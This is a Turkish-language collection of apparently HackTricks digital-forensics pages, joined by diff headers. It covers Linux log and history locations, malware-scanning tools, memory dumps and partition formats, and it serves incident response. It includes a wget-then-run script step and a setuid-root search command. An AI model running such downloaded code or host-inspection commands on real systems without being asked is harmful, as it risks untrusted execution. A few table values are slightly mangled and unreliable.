- **/var/log/httpd/**: Apache HTTPD hata ve erişim günlüklerini içerir.
- **/var/log/mysqld.log** veya **/var/log/mysql.log**: MySQL veritabanı etkinliklerini kaydeder.
- **/var/log/xferlog**: FTP dosya transferlerini kaydeder.
- **/var/log/**: Beklenmedik günlükler için burayı her zaman kontrol edin.
> [!NOTE]
> Linux sistem günlükleri ve denetim alt sistemleri, bir ihlal veya kötü amaçlı yazılım olayı sırasında devre dışı bırakılabilir veya silinebilir. Çünkü Linux sistemlerindeki günlükler genellikle kötü niyetli etkinlikler hakkında en yararlı bilgileri içerir, saldırganlar bunları düzenli olarak siler. Bu nedenle, mevcut günlük dosyalarını incelerken, silinme veya müdahale belirtisi olabilecek boşluklar veya düzensiz girişler aramak önemlidir.
**Linux, her kullanıcı için bir komut geçmişi tutar**, şu dosyalarda saklanır:
- \~/.bash_history
- \~/.zsh_history
- \~/.zsh_sessions/\*
- \~/.python_history
- \~/.\*\_history
Ayrıca, `last -Faiwx` komutu kullanıcı girişlerinin bir listesini sağlar. Bilinmeyen veya beklenmedik girişler için kontrol edin.
Ek rprivilejeleri verebilecek dosyaları kontrol edin:
- Verilen beklenmedik kullanıcı ayrıcalıkları için `/etc/sudoers` dosyasını gözden geçirin.
- Verilen beklenmedik kullanıcı ayrıcalıkları için `/etc/sudoers.d/` dosyasını gözden geçirin.
- Herhangi bir olağandışı grup üyeliği veya izinleri tanımlamak için `/etc/groups` dosyasını inceleyin.
- Herhangi bir olağandışı grup üyeliği veya izinleri tanımlamak için `/etc/passwd` dosyasını inceleyin.
Bazı uygulamalar ayrıca kendi günlüklerini oluşturur:
- **SSH**: Yetkisiz uzaktan bağlantılar için _\~/.ssh/authorized_keys_ ve _\~/.ssh/known_hosts_ dosyalarını inceleyin.
- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla yakın zamanda erişilen dosyalar için _\~/.recently-used.xbel_ dosyasını kontrol edin.
- **Firefox/Chrome**: Şüpheli etkinlikler için _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde tarayıcı geçmişi ve indirmeleri kontrol edin.
- **VIM**: Erişim sağlanan dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını gözden geçirin.
- **Open Office**: Kompromize olmuş dosyaları gösterebilecek yakın tarihli belge erişimlerini kontrol edin.
- **FTP/SFTP**: Yetkisiz olabilecek dosya transferleri için _\~/.ftp_history_ veya _\~/.sftp_history_ dosyalarını gözden geçirin.
- **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek yürütülen MySQL sorguları için _\~/.mysql_history_ dosyasını araştırın.
- **Less**: Görüntülenen dosyalar ve yürütülen komutlar dahil olmak üzere kullanım geçmişi için _\~/.lesshst_ dosyasını analiz edin.
- **Git**: Depolardaki değişiklikler için _\~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin.
### USB Günlükleri
[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tabloları oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya dağıtıma bağlı olarak `/var/log/messages*`) ayrıştıran saf Python 3 ile yazılmış küçük bir yazılımdır.
Kullanılan tüm USB'leri **bilmek** ilginçtir ve "ihlal olaylarını" bulmak için yetkilendirilmiş bir USB listesine sahip olmanız daha faydalı olacaktır (o listedeki USB'lerin dışındaki USB'lerin kullanımı).
### Kurulum
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
```
### Örnekler
```bash
usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
#Search for vid and/or pid
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
Daha fazla örnek ve bilgi github'da: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
## Kullanıcı Hesaplarını ve Giriş Aktivitelerini Gözden Geçirin
_**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** olağandışı isimler veya bilinen yetkisiz olaylarla yakın zamanda oluşturulmuş veya kullanılmış hesaplar için inceleyin. Ayrıca, olası sudo brute-force saldırılarını kontrol edin.\
Ayrıca, kullanıcılara verilen beklenmedik ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\
Son olarak, **şifresiz** veya **kolay tahmin edilebilen** şifreleri olan hesapları arayın.
## Dosya Sistemini İnceleyin
### Kötü Amaçlı Yazılım Soruşturmasında Dosya Sistemi Yapılarını Analiz Etme
Kötü amaçlı yazılım olaylarını araştırırken, dosya sisteminin yapısı bilgi için kritik bir kaynaktır ve hem olayların sırasını hem de kötü amaçlı yazılımın içeriğini ortaya çıkarır. Ancak, kötü amaçlı yazılım yazarları, dosya zaman damgalarını değiştirmek veya veri depolamak için dosya sisteminden kaçınmak gibi bu analizi engellemek için teknikler geliştirmektedir.
Bu anti-forensic yöntemlere karşı koymak için, şunları yapmak önemlidir:
- **Olay zaman çizelgelerini görselleştirmek için** **Autopsy** gibi araçlar kullanarak kapsamlı bir zaman çizelgesi analizi yapın veya detaylı zaman çizelgesi verileri için **Sleuth Kit'in** `mactime` aracını kullanın.
- **Sistemin $PATH'inde beklenmedik betikleri** araştırın; bu, saldırganlar tarafından kullanılan shell veya PHP betiklerini içerebilir.
- **Atypik dosyalar için `/dev`'i inceleyin**, çünkü genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilgili dosyalar barındırabilir.
- **Kötü amaçlı içeriği gizleyebilecek** ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi isimlere sahip gizli dosyaları veya dizinleri arayın.
- **Yükseltilmiş izinlere sahip setuid root dosyalarını** bulmak için şu komutu kullanın: `find / -user root -perm -04000 -print` Bu, saldırganlar tarafından kötüye kullanılabilecek yüksek izinlere sahip dosyaları bulur.
- **Kütük tablolarındaki silme zaman damgalarını** gözden geçirerek, kök kitleri veya trojanların varlığını gösterebilecek kitlesel dosya silme işlemlerini tespit edin.
- **Birini belirledikten sonra** yan yana kötü amaçlı dosyalar için ardışık inode'ları inceleyin; çünkü bunlar birlikte yerleştirilmiş olabilir.
- **Son zamanlarda değiştirilmiş dosyalar için yaygın ikili dizinleri** (_/bin_, _/sbin_) kontrol edin; çünkü bunlar kötü amaçlı yazılım tarafından değiştirilmiş olabilir.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
# Sort files in a directory by inode:
ls -lai /bin | sort -n```
````
> [!NOTE]
> Bir **saldırganın** **zamanı** **değiştirerek** **dosyaların meşru görünmesini** sağlayabileceğini, ancak **inode'u** **değiştiremeyeceğini** unutmayın. Eğer bir **dosyanın**, aynı klasördeki diğer dosyalarla **aynı anda** oluşturulup **değiştirildiğini** gösterdiğini, ancak **inode'unun** **beklenmedik şekilde büyük** olduğunu bulursanız, o **dosyanın zaman damgalarının değiştirildiği** anlamına gelir.
## Farklı dosya sistemi sürümlerini karşılaştırma
### Dosya Sistemi Sürüm Karşılaştırma Özeti
Dosya sistemi sürümlerini karşılaştırmak ve değişiklikleri belirlemek için basitleştirilmiş `git diff` komutlarını kullanıyoruz:
- **Yeni dosyaları bulmak için**, iki dizini karşılaştırın:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
- **Değiştirilmiş içerik için**, değişiklikleri belirli satırları göz ardı ederek listeleyin:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
- **Silinmiş dosyaları tespit etmek için**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
- **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere daraltmaya yardımcı olur.
- `A`: Eklenen dosyalar
- `C`: Kopyalanan dosyalar
- `D`: Silinen dosyalar
- `M`: Değiştirilen dosyalar
- `R`: Yeniden adlandırılan dosyalar
- `T`: Tür değişiklikleri (örneğin, dosya ile symlink arasında)
- `U`: Birleştirilmemiş dosyalar
- `X`: Bilinmeyen dosyalar
- `B`: Bozuk dosyalar
## Referanslar
- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
- **Kitap: Linux Sistemleri için Kötü Amaçlı Yazılım Adli Bilişim Alan Rehberi**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,154 +0,0 @@
# Kötü Amaçlı Yazılım Analizi
{{#include ../../banners/hacktricks-training.md}}
## Adli Bilişim Hile Sayfaları
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
## Çevrimiçi Hizmetler
- [VirusTotal](https://www.virustotal.com/gui/home/upload)
- [HybridAnalysis](https://www.hybrid-analysis.com)
- [Koodous](https://koodous.com)
- [Intezer](https://analyze.intezer.com)
- [Any.Run](https://any.run/)
## Çevrimdışı Antivirüs ve Tespit Araçları
### Yara
#### Kurulum
```bash
sudo apt-get install -y yara
```
#### Kuralları Hazırlayın
Bu script'i kullanarak github'dan tüm yara kötü amaçlı yazılım kurallarını indirin ve birleştirin: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
_**rules**_ dizinini oluşturun ve çalıştırın. Bu, tüm kötü amaçlı yazılım için yara kurallarını içeren _**malware_rules.yar**_ adlı bir dosya oluşturacaktır.
```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
```
#### Tarama
```bash
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
```
#### YaraGen: Kötü amaçlı yazılımı kontrol et ve kurallar oluştur
Binary'den yara kuralları oluşturmak için [**YaraGen**](https://github.com/Neo23x0/yarGen) aracını kullanabilirsiniz. Bu eğitimlere göz atın: [**Bölüm 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Bölüm 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Bölüm 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
```bash
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
```
### ClamAV
#### Kurulum
```
sudo apt-get install -y clamav
```
#### Tarama
```bash
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
```
### [Capa](https://github.com/mandiant/capa)
**Capa**, yürütülebilir dosyalarda potansiyel olarak zararlı **yetenekleri** tespit eder: PE, ELF, .NET. Bu nedenle, Att\&ck taktikleri veya şüpheli yetenekler gibi şeyleri bulacaktır:
- OutputDebugString hatasını kontrol et
- bir hizmet olarak çalış
- işlem oluştur
Bunu [**Github repo**](https://github.com/mandiant/capa) üzerinden edinebilirsiniz.
### IOCs
IOC, Kompromi Göstergesi anlamına gelir. Bir IOC, bazı potansiyel olarak istenmeyen yazılımları veya onaylanmış **kötü amaçlı yazılımları** tanımlayan **koşulların** bir setidir. Mavi Takımlar, bu tür tanımları **sistemlerinde** ve **ağlarında** bu tür kötü amaçlı dosyaları **arama** amacıyla kullanır.\
Bu tanımları paylaşmak çok faydalıdır çünkü bir bilgisayarda kötü amaçlı yazılım tespit edildiğinde ve o kötü amaçlı yazılım için bir IOC oluşturulduğunda, diğer Mavi Takımlar bunu kötü amaçlı yazılımı daha hızlı tanımlamak için kullanabilir.
IOC'leri oluşturmak veya değiştirmek için bir araç [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
Tanımlı IOC'leri bir cihazda **arama** yapmak için [**Redline**](https://www.fireeye.com/services/freeware/redline.html) gibi araçları kullanabilirsiniz.
### Loki
[**Loki**](https://github.com/Neo23x0/Loki), Basit Kompromi Göstergeleri için bir tarayıcıdır.\
Tespit, dört tespit yöntemine dayanmaktadır:
```
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
```
### Linux Malware Detect
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) , paylaşımlı barındırma ortamlarında karşılaşılan tehditler etrafında tasarlanmış, GNU GPLv2 lisansı altında yayımlanan bir Linux kötü amaçlı yazılım tarayıcısıdır. Saldırılarda aktif olarak kullanılan kötü amaçlı yazılımları çıkarmak ve tespit için imzalar oluşturmak amacıyla ağ kenarı saldırı tespit sistemlerinden tehdit verilerini kullanır. Ayrıca, tehdit verileri LMD ödeme özelliği ile kullanıcı gönderimlerinden ve kötü amaçlı yazılım topluluğu kaynaklarından da elde edilmektedir.
### rkhunter
[**rkhunter**](http://rkhunter.sourceforge.net) gibi araçlar, dosya sistemini olası **rootkit** ve kötü amaçlı yazılımlar için kontrol etmek amacıyla kullanılabilir.
```bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
```
### FLOSS
[**FLOSS**](https://github.com/mandiant/flare-floss) bir dizi farklı teknik kullanarak yürütülebilir dosyalar içinde obfuscate edilmiş dizeleri bulmaya çalışan bir araçtır.
### PEpper
[PEpper](https://github.com/Th3Hurrican3/PEpper) yürütülebilir dosya içinde bazı temel bilgileri (ikili veriler, entropi, URL'ler ve IP'ler, bazı yara kuralları) kontrol eder.
### PEstudio
[PEstudio](https://www.winitor.com/download) Windows yürütülebilir dosyaları hakkında bilgi almayı sağlayan bir araçtır; örneğin, ithalatlar, ihracatlar, başlıklar gibi bilgileri alır, ayrıca virüs toplamını kontrol eder ve potansiyel Att\&ck tekniklerini bulur.
### Detect It Easy(DiE)
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) bir dosyanın **şifreli** olup olmadığını tespit etmek ve ayrıca **paketleyicileri** bulmak için kullanılan bir araçtır.
### NeoPI
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) metin/script dosyaları içinde **obfuscate** edilmiş ve **şifreli** içeriği tespit etmek için çeşitli **istatistiksel yöntemler** kullanan bir Python betiğidir. NeoPI'nin amacı, **gizli web shell kodunun tespitine** yardımcı olmaktır.
### **php-malware-finder**
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) **obfuscate** edilmiş/**şüpheli kodu** ve genellikle **malware**/webshell'lerde kullanılan **PHP** fonksiyonlarını içeren dosyaları tespit etmek için elinden gelenin en iyisini yapar.
### Apple Binary Signatures
Bazı **malware örneklerini** kontrol ederken, imzayı her zaman **kontrol etmelisiniz** çünkü imzayı atan **geliştirici** zaten **malware** ile **ilişkili** olabilir.
```bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the apps contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
```
## Tespit Teknikleri
### Dosya Yığma
Eğer bir web sunucusunun **dosyalarını** içeren bir klasörün **son güncelleme tarihini** biliyorsanız, **web sunucusundaki tüm dosyaların oluşturulma ve değiştirilme tarihlerini kontrol edin** ve eğer herhangi bir tarih **şüpheli** ise, o dosyayı kontrol edin.
### Temel Değerler
Eğer bir klasörün dosyaları **değiştirilmemiş olmalıysa**, klasörün **orijinal dosyalarının** **hash'ini** hesaplayabilir ve bunları **mevcut** olanlarla **karşılaştırabilirsiniz**. Değiştirilen her şey **şüpheli** olacaktır.
### İstatistiksel Analiz
Bilgiler günlüklerde saklandığında, her bir web sunucusu dosyasının ne kadar kez erişildiği gibi **istatistikleri kontrol edebilirsiniz; çünkü bir web shell en çok erişilenlerden biri olabilir**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,37 +0,0 @@
# Bellek dökümü analizi
{{#include ../../../banners/hacktricks-training.md}}
## Başlangıç
**Kötü amaçlı yazılım** için pcap içinde **arama** yapmaya başlayın. [**Kötü Amaçlı Yazılım Analizi**](../malware-analysis.md) bölümünde belirtilen **araçları** kullanın.
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
**Volatility, bellek dökümü analizi için ana açık kaynak çerçevesidir**. Bu Python aracı, dış kaynaklardan veya VMware sanal makinelerinden gelen dökümleri analiz eder, dökümün işletim sistemi profiline dayalı olarak süreçler ve şifreler gibi verileri tanımlar. Eklentilerle genişletilebilir, bu da onu adli soruşturmalar için son derece çok yönlü hale getirir.
**[Buradan bir kılavuz bulabilirsiniz](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
## Mini döküm çökme raporu
Döküm küçükse (sadece birkaç KB, belki birkaç MB) muhtemelen bir mini döküm çökme raporudur ve bellek dökümü değildir.
![](<../../../images/image (216).png>)
Eğer Visual Studio yüklüyse, bu dosyayı açabilir ve süreç adı, mimari, istisna bilgisi ve yürütülen modüller gibi bazı temel bilgileri bağlayabilirsiniz:
![](<../../../images/image (217).png>)
Ayrıca istisnayı yükleyebilir ve decompile edilmiş talimatları görebilirsiniz.
![](<../../../images/image (219).png>)
![](<../../../images/image (218) (1).png>)
Her neyse, Visual Studio, dökümün derinlemesine analizi için en iyi araç değildir.
Bunu **IDA** veya **Radare** kullanarak **derinlemesine** incelemek için **açmalısınız**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,234 +0,0 @@
# Partitions/Dosya Sistemleri/Carving
{{#include ../../../banners/hacktricks-training.md}}
## Partisyonlar
Bir sabit disk veya bir **SSD diski, verileri fiziksel olarak ayırma** amacıyla farklı partisyonlar içerebilir.\
Diskin **minimum** birimi **sektördür** (normalde 512B'den oluşur). Bu nedenle, her bir partisyon boyutu bu boyutun katı olmalıdır.
### MBR (master Boot Record)
**Boot kodunun 446B'sinden sonra diskin ilk sektöründe** tahsis edilmiştir. Bu sektör, PC'ye bir partisyonun ne zaman ve nereden bağlanması gerektiğini belirtmek için gereklidir.\
En fazla **4 partisyon** sağlar (en fazla **1** aktif/**bootable** olabilir). Ancak daha fazla partisyona ihtiyacınız varsa **genişletilmiş partisyonlar** kullanabilirsiniz. Bu ilk sektörün **son baytı** boot kayıt imzası **0x55AA**'dır. Sadece bir partisyon aktif olarak işaretlenebilir.\
MBR, **maksimum 2.2TB**'yi destekler.
![](<../../../images/image (489).png>)
![](<../../../images/image (490).png>)
MBR'nin **440 ile 443 baytları** arasında **Windows Disk İmzası** bulunabilir (Windows kullanılıyorsa). Sabit diskin mantıksal sürücü harfi, Windows Disk İmzasına bağlıdır. Bu imzanın değiştirilmesi, Windows'un başlatılmasını engelleyebilir (araç: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../images/image (493).png>)
**Format**
| Offset | Length | Item |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Boot kodu |
| 446 (0x1BE) | 16 (0x10) | İlk Partisyon |
| 462 (0x1CE) | 16 (0x10) | İkinci Partisyon |
| 478 (0x1DE) | 16 (0x10) | Üçüncü Partisyon |
| 494 (0x1EE) | 16 (0x10) | Dördüncü Partisyon |
| 510 (0x1FE) | 2 (0x2) | İmza 0x55 0xAA |
**Partition Record Format**
| Offset | Length | Item |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Aktif bayrağı (0x80 = bootable) |
| 1 (0x01) | 1 (0x01) | Başlangıç başlığı |
| 2 (0x02) | 1 (0x01) | Başlangıç sektörü (bit 0-5); silindirin üst bitleri (6-7) |
| 3 (0x03) | 1 (0x01) | Başlangıç silindiri en düşük 8 bit |
| 4 (0x04) | 1 (0x01) | Partisyon türü kodu (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Bitiş başlığı |
| 6 (0x06) | 1 (0x01) | Bitiş sektörü (bit 0-5); silindirin üst bitleri (6-7) |
| 7 (0x07) | 1 (0x01) | Bitiş silindiri en düşük 8 bit |
| 8 (0x08) | 4 (0x04) | Partisyondan önceki sektörler (little endian) |
| 12 (0x0C) | 4 (0x04) | Partisyondaki sektörler |
Bir MBR'yi Linux'ta bağlamak için önce başlangıç ofsetini almanız gerekir (bunu `fdisk` ve `p` komutunu kullanarak yapabilirsiniz)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
Ve ardından aşağıdaki kodu kullanın
```bash
#Mount MBR in Linux
mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Mantıksal blok adresleme)**
**Mantıksal blok adresleme** (**LBA**), bilgisayar depolama cihazlarında saklanan veri bloklarının konumunu belirtmek için yaygın olarak kullanılan bir şemadır; genellikle sabit disk sürücüleri gibi ikincil depolama sistemleridir. LBA, özellikle basit bir doğrusal adresleme şemasına sahiptir; **bloklar bir tamsayı indeksi ile konumlandırılır**, ilk blok LBA 0, ikinci LBA 1 şeklindedir.
### GPT (GUID Bölüm Tablosu)
GUID Bölüm Tablosu, GPT olarak bilinir ve MBR (Ana Önyükleme Kaydı) ile karşılaştırıldığında geliştirilmiş yetenekleri nedeniyle tercih edilmektedir. Bölümler için **küresel benzersiz tanımlayıcı** ile ayırt edici olan GPT, birkaç yönden öne çıkmaktadır:
- **Konum ve Boyut**: Hem GPT hem de MBR **sektör 0**'da başlar. Ancak, GPT **64 bit** üzerinde çalışırken, MBR **32 bit** kullanır.
- **Bölüm Sınırları**: GPT, Windows sistemlerinde **128 bölüme** kadar destekler ve **9.4ZB**'a kadar veri depolayabilir.
- **Bölüm İsimleri**: Bölümlere 36 Unicode karaktere kadar isim verme imkanı sunar.
**Veri Dayanıklılığı ve Kurtarma**:
- **Yedeklilik**: MBR'nin aksine, GPT bölümleme ve önyükleme verilerini tek bir yere hapsetmez. Bu verileri disk boyunca çoğaltarak veri bütünlüğünü ve dayanıklılığını artırır.
- **Döngüsel Yedeklilik Kontrolü (CRC)**: GPT, veri bütünlüğünü sağlamak için CRC kullanır. Veri bozulmasını aktif olarak izler ve tespit edildiğinde, GPT bozulmuş veriyi başka bir disk konumundan kurtarmaya çalışır.
**Koruyucu MBR (LBA0)**:
- GPT, koruyucu bir MBR aracılığıyla geriye dönük uyumluluğu sürdürmektedir. Bu özellik, eski MBR tabanlı yardımcı programların yanlışlıkla GPT disklerini üzerine yazmasını önlemek için tasarlanmıştır, böylece GPT formatlı disklerde veri bütünlüğünü korur.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>)
**Hibrit MBR (LBA 0 + GPT)**
[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table)
**EFI** yerine **BIOS** hizmetleri aracılığıyla **GPT tabanlı önyükleme** destekleyen işletim sistemlerinde, ilk sektör hala **önyükleyici** kodunun ilk aşamasını depolamak için kullanılabilir, ancak **GPT** **bölümlerini tanıyacak şekilde **değiştirilmiştir. MBR'deki önyükleyici, 512 baytlık bir sektör boyutu varsaymamalıdır.
**Bölüm tablosu başlığı (LBA 1)**
[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table)
Bölüm tablosu başlığı, diskteki kullanılabilir blokları tanımlar. Ayrıca, bölüm tablosunu oluşturan bölüm girişlerinin sayısını ve boyutunu tanımlar (tablodaki 80 ve 84 ofsetleri).
| Ofset | Uzunluk | İçerik |
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bayt | İmza ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h veya 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)küçük sonlu makinelerde) |
| 8 (0x08) | 4 bayt | UEFI 2.8 için Revizyon 1.0 (00h 00h 01h 00h) |
| 12 (0x0C) | 4 bayt | Küçük sonlu (bayt cinsinden, genellikle 5Ch 00h 00h 00h veya 92 bayt) başlık boyutu |
| 16 (0x10) | 4 bayt | [CRC32](https://en.wikipedia.org/wiki/CRC32) başlığın CRC'si (ofset +0'dan başlık boyutuna kadar) küçük sonlu, bu alan hesaplama sırasında sıfırlanır |
| 20 (0x14) | 4 bayt | Ayrılmış; sıfır olmalıdır |
| 24 (0x18) | 8 bayt | Mevcut LBA (bu başlık kopyasının konumu) |
| 32 (0x20) | 8 bayt | Yedek LBA (diğer başlık kopyasının konumu) |
| 40 (0x28) | 8 bayt | Bölümler için ilk kullanılabilir LBA (birincil bölüm tablosunun son LBA'sı + 1) |
| 48 (0x30) | 8 bayt | Son kullanılabilir LBA (ikincil bölüm tablosunun ilk LBA'sı 1) |
| 56 (0x38) | 16 bayt | Disk GUID'i karışık sonlu |
| 72 (0x48) | 8 bayt | Bir dizi bölüm girişinin başlangıç LBA'sı (her zaman birincil kopyada 2) |
| 80 (0x50) | 4 bayt | Dizideki bölüm girişlerinin sayısı |
| 84 (0x54) | 4 bayt | Tek bir bölüm girişinin boyutu (genellikle 80h veya 128) |
| 88 (0x58) | 4 bayt | Küçük sonlu bölüm girişleri dizisinin CRC32'si |
| 92 (0x5C) | \* | Ayrılmış; blokun geri kalanında sıfır olmalıdır (512 baytlık bir sektör boyutu için 420 bayt; ancak daha büyük sektör boyutları ile daha fazla olabilir) |
**Bölüm girişleri (LBA 233)**
| GUID bölüm giriş formatı | | |
| ------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
| Ofset | Uzunluk | İçerik |
| 0 (0x00) | 16 bayt | [Bölüm türü GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (karışık sonlu) |
| 16 (0x10) | 16 bayt | Benzersiz bölüm GUID'i (karışık sonlu) |
| 32 (0x20) | 8 bayt | İlk LBA ([küçük sonlu](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 bayt | Son LBA (dahil, genellikle tek) |
| 48 (0x30) | 8 bayt | Nitelik bayrakları (örneğin, bit 60 yalnızca okunur olduğunu belirtir) |
| 56 (0x38) | 72 bayt | Bölüm adı (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kod birimi) |
**Bölüm Türleri**
![](<../../../images/image (492).png>)
Daha fazla bölüm türü için [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
### İnceleme
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) ile adli görüntüyü monte ettikten sonra, Windows aracı [**Active Disk Editor**](https://www.disk-editor.org/index.html)**'ı** kullanarak ilk sektörü inceleyebilirsiniz. Aşağıdaki görüntüde **sektör 0**'da bir **MBR** tespit edilmiştir ve yorumlanmıştır:
![](<../../../images/image (494).png>)
Eğer bir **MBR yerine bir GPT tablosu** olsaydı, **sektör 1**'de _EFI PART_ imzası görünmelidir (önceki görüntüde bu alan boştur).
## Dosya Sistemleri
### Windows dosya sistemleri listesi
- **FAT12/16**: MSDOS, WIN95/98/NT/200
- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
- **ExFAT**: 2008/2012/2016/VISTA/7/8/10
- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
- **ReFS**: 2012/2016
### FAT
**FAT (Dosya Tahsis Tablosu)** dosya sistemi, hacmin başlangıcında yer alan dosya tahsis tablosu etrafında tasarlanmıştır. Bu sistem, verilerin bütünlüğünü sağlamak için tablonun **iki kopyasını** tutarak verileri korur; böylece biri bozulsa bile veri bütünlüğü sağlanır. Tablo, kök klasör ile birlikte **sabit bir konumda** olmalıdır; bu, sistemin başlatma süreci için kritik öneme sahiptir.
Dosya sisteminin temel depolama birimi bir **küme, genellikle 512B**'dir ve birden fazla sektörden oluşur. FAT, sürümler boyunca evrim geçirmiştir:
- **FAT12**, 12 bit küme adreslerini destekler ve 4078 kümeye kadar işleyebilir (UNIX ile 4084).
- **FAT16**, 16 bit adreslere yükseltilerek 65,517 kümeye kadar destek sağlar.
- **FAT32**, 32 bit adreslerle daha da ilerleyerek her hacim için 268,435,456 kümeye kadar izin verir.
FAT sürümleri arasında önemli bir sınırlama, **4GB maksimum dosya boyutu**'dur; bu, dosya boyutu depolamak için kullanılan 32 bit alan tarafından dayatılmaktadır.
FAT12 ve FAT16 için kök dizininin ana bileşenleri şunlardır:
- **Dosya/Klasör Adı** (en fazla 8 karakter)
- **Nitelikler**
- **Oluşturma, Değiştirme ve Son Erişim Tarihleri**
- **FAT Tablosu Adresi** (dosyanın başlangıç kümesini gösterir)
- **Dosya Boyutu**
### EXT
**Ext2**, **günlük tutmayan** bölümler (**çok fazla değişmeyen bölümler**) için en yaygın dosya sistemidir; bu, önyükleme bölümüdür. **Ext3/4** ise **günlük tutan** sistemlerdir ve genellikle **diğer bölümler** için kullanılır.
## **Meta Veriler**
